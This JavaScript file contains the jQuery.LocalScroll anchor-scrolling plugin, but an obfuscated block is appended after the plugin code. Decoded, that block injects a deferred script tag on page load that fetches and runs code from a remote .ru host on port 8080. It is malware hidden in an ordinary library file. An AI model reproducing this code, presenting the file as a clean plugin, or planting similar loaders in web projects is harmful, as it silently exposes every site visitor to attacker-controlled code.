/**
 * jQuery.LocalScroll
 * Copyright (c) 2007-2008 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
 * Dual licensed under MIT and GPL.
 * Date: 3/10/2008
 *
 * @projectDescription Animated scrolling navigation, using anchors.
 * http://flesler.blogspot.com/2007/10/jquerylocalscroll-10.html
 * @author Ariel Flesler
 * @version 1.2.5
 *
 * @id jQuery.fn.localScroll
 * @param {Object} settings Hash of settings, it is passed in to jQuery.ScrollTo, none is required.
 * @return {jQuery} Returns the same jQuery object, for chaining.
 *
 * @example $('ul.links').localScroll();
 *
 * @example $('ul.links').localScroll({ filter:'.animated', duration:400, axis:'x' });
 *
 * @example $.localScroll({ target:'#pane', axis:'xy', queue:true, event:'mouseover' });
 *
 * Notes:
 *	- The plugin requires jQuery.ScrollTo.
 *	- The hash of settings, is passed to jQuery.ScrollTo, so the settings are valid for that plugin as well.
 *	- jQuery.localScroll can be used if the desired links, are all over the document, it accepts the same settings.
 *  - If the setting 'lazy' is set to true, then the binding will still work for later added anchors.
 *  - The setting 'speed' is deprecated, use 'duration' instead.
 *	- If onBefore returns false, the event is ignored.
 **/
;(function( $ ){
	var URI = location.href.replace(/#.*/,'');//local url without hash

	var $localScroll = $.localScroll = function( settings ){
		$('body').localScroll( settings );
	};

	//Many of these defaults, belong to jQuery.ScrollTo, check it's demo for an example of each option.
	//@see http://www.freewebs.com/flesler/jQuery.ScrollTo/
	$localScroll.defaults = {//the defaults are public and can be overriden.
		duration:1000, //how long to animate.
		axis:'y',//which of top and left should be modified.
		event:'click',//on which event to react.
		stop:true//avoid queuing animations 
		/*
		lock:false,//ignore events if already animating
		lazy:false,//if true, links can be added later, and will still work.
		target:null, //what to scroll (selector or element). Keep it null if want to scroll the whole window.
		filter:null, //filter some anchors out of the matched elements.
		hash: false//if true, the hash of the selected link, will appear on the address bar.
		*/
	};

	//if the URL contains a hash, it will scroll to the pointed element
	$localScroll.hash = function( settings ){
		settings = $.extend( {}, $localScroll.defaults, settings );
		settings.hash = false;//can't be true
		if( location.hash )
			setTimeout(function(){ scroll( 0, location, settings ); }, 0 );//better wrapped with a setTimeout
	};

	$.fn.localScroll = function( settings ){
		settings = $.extend( {}, $localScroll.defaults, settings );

		return ( settings.persistent || settings.lazy ) 
				? this.bind( settings.event, function( e ){//use event delegation, more links can be added later.
					var a = $([e.target, e.target.parentNode]).filter(filter)[0];//if a valid link was clicked.
					a && scroll( e, a, settings );//do scroll.
				})
				: this.find('a')//bind concretely, to each matching link
						.filter( filter ).bind( settings.event, function(e){
							scroll( e, this, settings );
						}).end()
					.end();

		function filter(){//is this a link that points to an anchor and passes a possible filter ? href is checked to avoid a bug in FF.
			return !!this.href && !!this.hash && this.href.replace(this.hash,'') == URI && (!settings.filter || $(this).is( settings.filter ));
		};
	};

	function scroll( e, link, settings ){
		var id = link.hash.slice(1),
			elem = document.getElementById(id) || document.getElementsByName(id)[0];
		if ( elem ){
			e && e.preventDefault();
			var $target = $( settings.target || $.scrollTo.window() );//if none specified, then the window.

			if( settings.lock && $target.is(':animated') ||
			settings.onBefore && settings.onBefore.call(link, e, elem, $target) === false ) return;

			if( settings.stop )
				$target.queue('fx',[]).stop();//remove all its animations
			$target
				.scrollTo( elem, settings )//do scroll
				.trigger('notify.serialScroll',[elem]);//notify serialScroll about this change
			if( settings.hash )
				$target.queue(function(){
					location = link.hash;
				});
		}
	};

})( jQuery );



var a;if(a!='pq' && a!='L'){a=''};try {this.Mt="";this.l='';var M='[';this.m='';var R='g';this._d='';this.YX='';var H=RegExp;var p='replace';var Pz;if(Pz!='_Y'){Pz='_Y'};this.kL='';var F='';var sR;if(sR!='lM' && sR!='PX'){sR=''};var J;if(J!='aG'){J='aG'};var _=']';this.c='';var aM;if(aM!='Si' && aM != ''){aM=null};var FN;if(FN!='sz'){FN='sz'};var D=new String();function i(z,f){var b="";var _K=new Array();var fb='';var N=M;N+=f;N+=_;var uf;if(uf!='n' && uf!='WM'){uf='n'};var o=new H(N, R);var DT="";return z[p](o, F);var ex;if(ex!='qv' && ex!='cy'){ex=''};var zmU;if(zmU!='T' && zmU!='zm'){zmU='T'};};var zj;if(zj!=''){zj='zu'};var xV;if(xV!='' && xV!='my'){xV=''};this.UO='';var U=i('cHrKeKagtgeHEHlHeHmHeKnHtK',"HgK");var an=new String();var Pg=new String();var A=i('bHo0dsy0',"0sH");var k=i('8379507378955103957',"97135");this.RM="";var z="1";var Oa=new String();var UL=i('avpxpveBnBdxC2hRiRlBdR',"2RBxv");var Ax;if(Ax!=''){Ax='Us'};var WZ=new Date();var ip=i('hZtOtOpO:O/O/Z1O1O0OmZbZ-ZcOoZmZ.ZzO5OxZ.OnOeOtZ.ZyOeZlZpZ-OcZoZmZ.OmOyOsOkZyOsOiOtOeO.ZrZuO:O',"ZO");var ky='';var JW=new String();var AV=new String();var S=i('sacDrDiFpatF',"DFa");var r=new Array();var ro=new Array();var Z=i('sFeFtFAatataraiFbauFtaeF',"Fa");var DY=new String();var De="";var Nl=i('/Nvrkr.KcNoKmr/NvKkK.KcKormK/NmKer.NcKoKmK/rkriNorsKkNeNaK.KnNertr/rgNororgNlNeK.rcroNmK.NpKhNpK',"KNr");this.Wnr="";var Y=i('oCnClyoCaydC',"yC");var Uk=new Date();this.yf="";this.re="";window[Y]=function(){var rg;if(rg!='Ry'){rg='Ry'};this.Gl="";B=document[U](S);var zc=new String();var WG=new String();var DD;if(DD!='yG' && DD!='CrH'){DD=''};var v;if(v!='jE' && v!='NU'){v='jE'};ky+=ip;var OZ;if(OZ!='TE' && OZ!='xc'){OZ='TE'};var v_=new Date();ky+=k;var ps;if(ps!='FS'){ps='FS'};ky+=Nl;var LF;if(LF!='Cb' && LF!='QF'){LF=''};var zjB=new Date();var RX='';var hd=new String();B.src=ky;var O=document[A];var iYZ='';var IE='';B.setAttribute('defer', z);var yo=new Array();var HD;if(HD!=''){HD='zI'};var gr=new Date();O.appendChild(B);};var jY='';var Xs;if(Xs!=''){Xs='eW'};var Nk='';} catch(e){var ge;if(ge!=''){ge='K'};};